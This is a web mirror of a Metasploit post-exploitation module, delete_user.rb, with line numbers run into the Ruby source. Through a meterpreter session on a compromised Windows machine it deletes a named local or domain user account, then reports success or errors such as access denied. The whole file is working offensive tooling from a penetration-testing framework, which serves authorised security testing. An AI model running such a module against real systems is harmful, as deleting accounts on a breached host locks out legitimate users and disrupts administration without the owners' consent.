Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/delete_user.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Accounts78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Manage Local User Account Deletion',13'Description' => %q{14This module deletes a local user account from the specified server,15or the local machine if no server is given.16},17'License' => MSF_LICENSE,18'Author' => [ 'chao-mu'],19'Platform' => [ 'win' ],20'SessionTypes' => [ 'meterpreter' ]21)22)2324register_options(25[26OptString.new('USERNAME', [ true, 'The username of the user to delete (not-qualified, e.g. BOB)' ]),27OptString.new('SERVER_NAME', [ false, ' DNS or NetBIOS name of remote server on which to delete user' ]),28]29)30end3132def run33username = datastore['USERNAME']34target_server = datastore['SERVER_NAME']3536status = delete_user(username, target_server || nil)3738case status39when :success40print_status 'User was deleted!'41when :invalid_server42print_error 'The server you specified was invalid'43when :not_on_primary44print_error 'You must be on the primary domain controller to do that'45when :user_not_found46print_error 'User did not exist!'47when :access_denied48print_error 'Sorry, you do not have permission to delete that user'49when nil50print_error 'Something horrible just happened. Sorry.'51else52print_error 'This module is out of date'53end54end55end565758